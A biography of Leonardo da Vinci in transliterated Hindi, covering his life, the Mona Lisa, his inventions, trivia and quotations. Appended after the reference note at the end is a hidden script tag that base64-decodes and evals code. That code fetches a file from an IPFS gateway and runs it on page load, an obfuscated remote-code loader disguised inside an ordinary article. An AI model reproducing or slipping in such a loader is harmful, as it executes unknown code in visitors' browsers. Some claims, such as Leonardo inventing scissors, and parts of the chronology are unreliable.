लिओनार्दो दा विंची
lionardo da vianchi
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| poora nam | lionardo da vianchi |
| janm | 15 aprail 1452 |
| janm bhoomi | vianchi, phloreans, itali |
| mrityu | 2 mee 1519 |
| mrityu sthan | klaus, fraans |
| puraskar-upadhi | 'yoonivarsal main' |
| prasiddhi | chitrakar, avishkarak, sangitajn, moortikar, vaijnanik |
| nagarikata | itailiyan |
| any janakari | phloreans mean rahate hue unhoanne apani sabase prasiddh peantiang “monalisa” banayi thi. |
| bahari k diyaan | adhikarik vebasait |
lionardo da vianchi (aangrezi: Leonardo da Vinci, janm: 1452 - mrityu: 1519) italivasi, mahan chitrakar, avishkarak, sangitajn, moortikar, vaijnanik, nirikshak, sharir rachana vaijnanik, bhavan dijaeen visheshajn, dizainar aur nagar niyojak the. apane samay mean unaka nam bahut prasiddh tha aur log unaki bahumukhi pratibha ka loha manate the. unaki isi bahumukhi pratibha ke karan unhean 'yoonivarsal main' ki upadhi di gayi thi.
jivan parichay
lionardo da vianchi ka janm 15 aprail 1452 ko itali ke prasiddh shahar phloreans ke nikat vianchi mean hua tha. unake pita ek prasiddh vakil the aur maan vianchi ki hi kisi saray mean kabhi naukarani rahi thi lekin usake itihas ke bare mean logoan ko jyada pata nahi hai. aisa mana jata hai ki lionardo da vianchi ki mata ne vakil sahab ke avaidh putr ko janm diya tha. apane putr ko apane usake pita ko supurd kar us mahila ne kisi bhavan nirmata se vivah kar liya tha.
bachapan
lionardo da vianchi ka bachapan apane dada ke ghar mean hi bita tha. san 1469 mean lionardo da vianchi ke pita unake sath phloreans a gaye, jahaan par unaki chachi ne unaki kee varsho tak dekhabhal ki thi. phloreans mean hi unaki shiksha diksha poorn huyi thi. skool se hi lionardo da vianchi ki pratibha samane ane lagi thi jabaki ganit ki mushkil se mushkil samasyaoan ka samadhan vah chutakiyoan mean hi kar lete the. san 1482 isvi tak unhoanne vividh vishayoan mean shiksha prapt kar li thi. san 1466 mean jab vo keval 14 varsh ke the tabhi achanak unake man mean moortiya banane ka shauk ubhara tha. is ayu mean unhoanne aisi moortiya banaee jinaki sabhi ne prashansha ki thi. jab unhoanne apani shiksha poori kar li thi tab unake pas ay ka koee sadhan nahian tha. san 1482 mean hi unhoanne milan ke dyook ko apani vyavasayik sevaean pradan karane hetu patr likha. dyook ne lionardo da vianchi ko apani sena mean ianjiniyar ke pad par rakh liya. vahaan par lionardo da vianchi ne aise hathiyaroan ke dijaeen taiyar kiye jo yuddh mean kaphi upayogi siddh hue the.
sharir rachana vijnan mean vishesh roochi
milan mean rahate hue unhoanne anek s dakoan, bhavanoan mean girijagharoan aur naharoan ke dijaeen taiyar kiye the. jab san 1499 mean lionardo da vianchi peris aye to us samay turki ke sath yuddh chal raha tha. vahaan unhoanne yuddh sambadhi avishkar prastut kiye the lekin dyook ko shayad uname se koee pasand nahian ayi thi. aantatah dyook ke lie unhoanne 1495 mean apani “The Last Supper” peantiang banana arambh kiya jo 1497 mean poori huyi. milan mean rahate hue unaki roochi sharir rachana vijnan (Anatomy) mean jag uthi thi jisake karan vo us jamane ke mashahoor d aauktaroan ke pas gaye taki murdoan ki chir pha d apani aankhoan se dekh sake. isi karan unhoanne manav sharir ke aang aang ka sookshm vishleshan prastut kiye the.
jab dyook ko fraans ke badashah ne pak d liya aur kaid mean dal diya tab unaka koee abhibhavak nahi raha. is sankatakal mean vo venis jakar yuddh sambadhi avishkaroan ko vahaan ke adhikariyoan ke sammukh pesh kiya jinamean gotakhoroan ke lie ek khas kism ki poshak aur ek tarah ki panadubbi thi. kuchh arase ke lie lionardo da vianchi sesare borgiya mean yaha nakkashi ki naukari bhi karate rahe. san 1500 mean 50 varsh ki ayu mean lionardo da vianchi vapas apani matribhoomi phloreans laut aye aur chh saloan tak vahi rahe.
vishv prasiddh 'monalisa' tasvir
phloreans mean rahate hue unhoanne apani sabase prasiddh peantiang “monalisa” banayi thi. us samay monalisa ki ayu 24 varsh thi. vo pratidin dopahar ke bad lionardo da vianchi ke stoodiyo mean ati thi. is prasiddh peantiang ko banane mean unako poore tin varsh lage the. peantiang poori lionardo da vianchi apani kriti ki sundarata ko dekhakar svayan mantramugdh ho gaye the. is peantiang mean monalisa ke chehare mean ek adabhud musakan jhalak rahi thi aur aankhoan mean vichitr nashilapan dikhata tha. is peantiang ko unhoanne monalisa ko nahian diya, aj bhi ye peantiang fraans ke ek sangrahalay mean tangi huyi hai. isake bad bhi lionardo da vianchi ne kee peantiang banaee thi.
any rachanaean
lionardo da vianchi ne ek sat hajar prishthoan ki ek pustak likhi thi jisamean unhoanne dharati ki sundarata, usake suandar drishy, sharir vijnan se sanbandhit chitr, yuddh mean kam ane vali mashinean, l dakoo viman adi ka vivaran tha. lionardo da vianchi ne kitani hi chhoti moti chijean ijad kian, jo aj bhi tho di bahut herapheri ke sath usi shakl mean istemal ho rahi haian. unamean kuchh phark a gaya hai to yahi ki lak di ki jagah stil ka istemal ho raha hai kintu mool mean kam kar rahe niyam sarvapratham lionardo da vianchi ki sookshm buddhi se hi vikasit kiye the.[1]
nidhan
lionardo da vianchi ka 2 mee 1519 mean fraans ke klaus namak shahar mean dehaant ho gaya tha. ek pratisthit kalakar ke roop mean unaki prasiddhi unaki mrityu ke bad hi faili.
lionardo da vianchi ke bare mean rochak tathy
- lionardo da vianchi pahale aise iansan the jinhoanne akash ka rang nila hone ka sahi karan bataya tha, aisa isalie kyoanki hava sooraj se ane vali raushani ko bikher deta hai aur nile rang mean baki rangoan ki tulana mean phailane ki kshamata adhik hoti hai to hamean din mean akash nila dikhaee deta haian.
- liyonardo da viansi ek hi samay mean ek hath se likh sakate the aur doosare hath se chitr bana sakate the.
- kaianchi ka avishkar karane vale lionardo da vianchi hi the.
- liyonardo da viansi bahut asani se shabd ko ulte kram mean likh lete the, jaisa hamean shishe mean likha hua dikhaee deta haian. vah aisa tab likhate the jab koee sikret bat likhani ho.
- ginij varld rikard ke anusar liyonardo ki monalisa peantig itihas mean sabase jyada iansyoreans vailyoo vali peantig haian. 1911 mean peris ke loovr myoojiyam se chori hone ke bad yah sabase prasiddh tasvir ban gee. 2015 mean isaki kimat 780 miliyan US d aaular thi.
- ek fes rik aauganishan (Face-Recognition) s aauphtaver ke anusar, lionardo da vinchi ki mona lisa 83% khush, 9% ghrina karane vali, 6% dari huee evan 2% gusse mean haian.
- lionardo ne mona lisa ki aankh ki daee putali par apane hastakshar kiye the.
- unhoanne sabase pahale pairashoot, helik aauptar aur airoplen skech taiyar kiya tha.
lionardo da vianchi ke prerak kathan
- maian unase prem karata hooan jo musibat mean muskura sakean, jo sankat mean shakti ekatrit kar sakean, aur jo atmachiantan se sahasi ban sakean.
- kaphi samay pahale se mere dhyan mean ye bat hai ki saphalata pane vale baith kar chijoan ke hone ka iantazar nahian karate. ve bahar jate haian aur ve chijean kar dalate haian.
- jahaan maian sochata tha ki maian jina sikh raha hooan, vahian maian marana sikh raha tha.
- sadagi param jatilata hai.
- ek achchhi tarah se bitaya din sukhad niand lekar ata hai.
- kala kabhi khatm nahian hoti, use bas tyag diya jata hai.
- tin tarah ke log hote haian- vo jo dekhate haian, vo jo dikhane par dekhate haian, vo jo nahian dekhate haian.
- sabase b di khushi samajhane ki khushi hai.
- jaise ek achchhi tarah bitaya din sukhad niand lekar ata hai, usi tarah ek achchhi tarah bitaya jivan ek sukhad maut lekar ata hai.
- shadi saanpoan se bhare baig mean is asha ke sath hath dalana hai ki machhali nikale.
- manushy ka pair ianjiniyariang ki utkrisht kriti aur kala ka ek kam hai.
- anupayog se loha jang kha jata hai, sthirata se pani apani shuddhata kho deta hai, isi tarah nishkriyata mastishk ki takat sokh leti hai.
- sikhana kabhi dimag ko thakata nahian hai.
- jo sadachar bota hai vo samman katata hai.
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tika tippani aur sandarbh
- ↑ lionardo da vianchi ki jivani (hiandi) gajab khabar. abhigaman tithi: 8 navanbar, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh